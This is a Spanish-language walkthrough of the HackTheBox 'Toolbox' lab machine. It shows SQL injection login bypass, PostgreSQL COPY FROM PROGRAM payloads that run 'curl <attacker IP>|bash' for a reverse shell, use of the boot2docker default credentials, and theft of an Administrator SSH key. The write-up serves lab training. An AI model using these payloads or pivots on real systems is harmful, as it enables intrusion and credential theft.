Inicio HTB - Toolbox
Entrada
Cancelar

HTB - Toolbox

¡Hola! Vamos a resolver de la máquina Toolbox de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • PostgreSQL Injection (RCE)
  • Abusing boot2docker [Docker-Toolbox]
  • Pivoting

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Toolbox. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.236
PING 10.10.10.236 (10.10.10.236) 56(84) bytes of data.
64 bytes from 10.10.10.236: icmp_seq=1 ttl=127 time=42.3 ms

--- 10.10.10.236 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.236 -oG allPorts

PORT      STATE SERVICE      REASON
21/tcp    open  ftp          syn-ack ttl 127
22/tcp    open  ssh          syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
443/tcp   open  https        syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
5985/tcp  open  wsman        syn-ack ttl 127
47001/tcp open  winrm        syn-ack ttl 127
49664/tcp open  unknown      syn-ack ttl 127
49665/tcp open  unknown      syn-ack ttl 127
49666/tcp open  unknown      syn-ack ttl 127
49667/tcp open  unknown      syn-ack ttl 127
49668/tcp open  unknown      syn-ack ttl 127
49669/tcp open  unknown      syn-ack ttl 127

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
|   256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_  256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.38 ((Debian))
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after:  2021-02-17T17:45:56
|_http-title: Administrator Login
|_ssl-date: TLS randomness does not represent time
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Agregamos admin.megalogistic.com a nuestro /etc/hosts

Reconocimiento FTP


Examinando los resultados de nmap observamos que podemos acceder de forma anónima a la máquina por FTP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ftp 10.10.10.236
Connected to 10.10.10.236.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.236:yorch): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
ftp> dir
200 Port command successful
150 Opening data channel for directory listing of "/"
-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
226 Successfully transferred "/"

Encontramos un ejecutable de windows docker-toolbox.exe el cual proporciona una forma de utilizar Docker en sistemas Windows antiguos que no cumplen con los requisitos mínimos del sistema para la aplicación Docker para Windows. El componente principal de Docker requiere un sistema operativo Linux para poderse ejecutar

Seguimos con el reconocimiento Web

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
❯ whatweb https://10.10.10.236
https://10.10.10.236 [200 OK] Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[10.10.10.236], JQuery[3.3.1], Script, Title[MegaLogistics]

Accedemos al servicio web por el puerto 443 dónde vemos una página de un servicio logístico aparentemente con poca funcionalidad y accediendo al dominio admin.megalogistic.com localizamos un panel de login

Empezamos reconociendo el panel de login encontrado. Aplicando guessing con contraseñas típicas por defecto no nos lleva a ningún lado. Probamos a inyectar admin' or 1=1-- - y logramos saltarnos el panel de login

Sabemos que el panel de login es vulnerable a inyecciones SQL, interceptamos con BurpSuite y tras probar varios formatos damos con que ejecutando pg_sleep(10) la web tarda 10 segundos en reaccionar lo que nos lleva a la conclusión que estamos ante PostgreSQL

Revisando payloads en PayloadsAllTheThings encontramos una posible vía para llegar a un RCE. Ejecutamos paso a paso tal cual nos indican

1
username=admin';DROP TABLE IF EXISTS cmd_exec;-- -;&password=admin
1
username=admin';CREATE TABLE cmd_exec(cmd_output text);-- -;&password=admin

En lugar de tratar de ejecutar el comando id probamos a hacer un curl a un servidor HTTP que levantaremos en nuestra máquina atacante

1
username=admin';COPY cmd_exec FROM PROGRAM 'curl 10.10.14.73|test';-- -;&password=admin

Vemos que llega la petición al servidor HTTP

1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.96.171 - - [26/Nov/2022 16:35:58] "GET / HTTP/1.1" 200 -

Creamos un archivo index.html el cual contiene un oneliner para entablar una reverse shell en nuestro equipo, nos ponemos en escucha en el puerto 443 y ejecutamos nuevamente la inyección con el curl con un pipe para que interprete bash

1
username=admin';COPY cmd_exec FROM PROGRAM 'curl 10.10.14.73|bash';-- -;&password=admin

Hemos logrado acceso a la máquina víctima

Escalada Privilegios


Verificamos con hostname -I que nos encontramos dentro de un contenedor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 4650  bytes 689344 (673.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3704  bytes 2959735 (2.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 12324  bytes 4250228 (4.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 12324  bytes 4250228 (4.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Docker Toolbox usa VirtualBox para correr una VM que contiene el contenedor. Esto se consigue usando Boot2Docker. Mirando la documentación encontramos credenciales por defecto docker / tcuser para conectarte por ssh al host

Saviendo que la IP del contenedor donde nos econtramos es 172.17.0.2 podemos dedeucir que la IP del host de VM es 172.17.0.1. Vamos a probar a conectarnos por SSH usando las credenciales por defecto

1
2
3
4
5
6
7
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ssh docker@172.17.0.1
docker@172.17.0.1's password: 
   ( '>')
  /) TC (\   Core is distributed with ABSOLUTELY NO WARRANTY.
 (/-_--_-\)           www.tinycorelinux.net

docker@box:~$

Nos convertimos en root y con una búsqueda recursiva desde la raíz localizamos la flag de usuario

1
2
3
4
5
6
docker@box:/$ sudo su                                                                                                                                                                     
root@box:/# find / -name user.txt 2>/dev/null  
/mnt/sda1/var/lib/docker/overlay2/07623502c61c6209351069a7c272a5514f193c50302d83ead62325346bf41d06/merged/var/lib/postgresql/user.txt
/mnt/sda1/var/lib/docker/overlay2/20aed3bef7110c6e08a7fc7f476fcdf690589baabf19f49b462b7395724731d2/diff/var/lib/postgresql/user.txt
root@box:/# cat /mnt/sda1/var/lib/docker/overlay2/07623502c61c6209351069a7c272a5514f193c50302d83ead62325346bf41d06/merged/var/lib/postgresql/user.txt                                     
f0183e44378ea9774***************  flag.txt

De acuerdo a la documentación, docker-toolbox tiene acceso al directorio C:\Users por defecto el cual está montado en /c/users

1
2
3
4
docker@box:~$ cd /c/Users                                                                                                                                                                 
docker@box:/c/Users$ ls                                                                                                                                                                   
Administrator  Default        Public         desktop.ini
All Users      Default User   Tony

En la carpeta Administrator encontramos un directorio .ssh que contiene una clave id_rsa

1
2
3
4
5
6
7
8
docker@box:/c/Users/Administrator/.ssh$ ls -la                                                                                                                                            
total 18
drwxrwxrwx    1 docker   staff         4096 Feb 19  2020 .
drwxrwxrwx    1 docker   staff         8192 Feb  8  2021 ..
-rwxrwxrwx    1 docker   staff          404 Feb 19  2020 authorized_keys
-rwxrwxrwx    1 docker   staff         1675 Feb 19  2020 id_rsa
-rwxrwxrwx    1 docker   staff          404 Feb 19  2020 id_rsa.pub
-rwxrwxrwx    1 docker   staff          348 Feb 19  2020 known_hosts

Nos copiamos la clave en nuestro equipo, le damos permisos 600 y nos logueamos como Administrator

1
2
3
4
5
6
7
ssh -i id_rsa administrator@10.10.10.236 

Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.

administrator@TOOLBOX C:\Users\Administrator>whoami
toolbox\administrator

Buscamos desde la raíz de forma recursiva por el archivo root.txt y lo localizamos en el escritorio del usuario administartor

1
2
3
4
5
#ROOT
administrator@TOOLBOX C:\>dir /b/s root.txt 
C:\Documents and Settings\Administrator\Desktop\root.txt 
administrator@TOOLBOX C:\Users\Administrator\Desktop>type root.txt 
cc9a0b76ac17f8f47***************

Hemos completado la máquina Toolbox de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.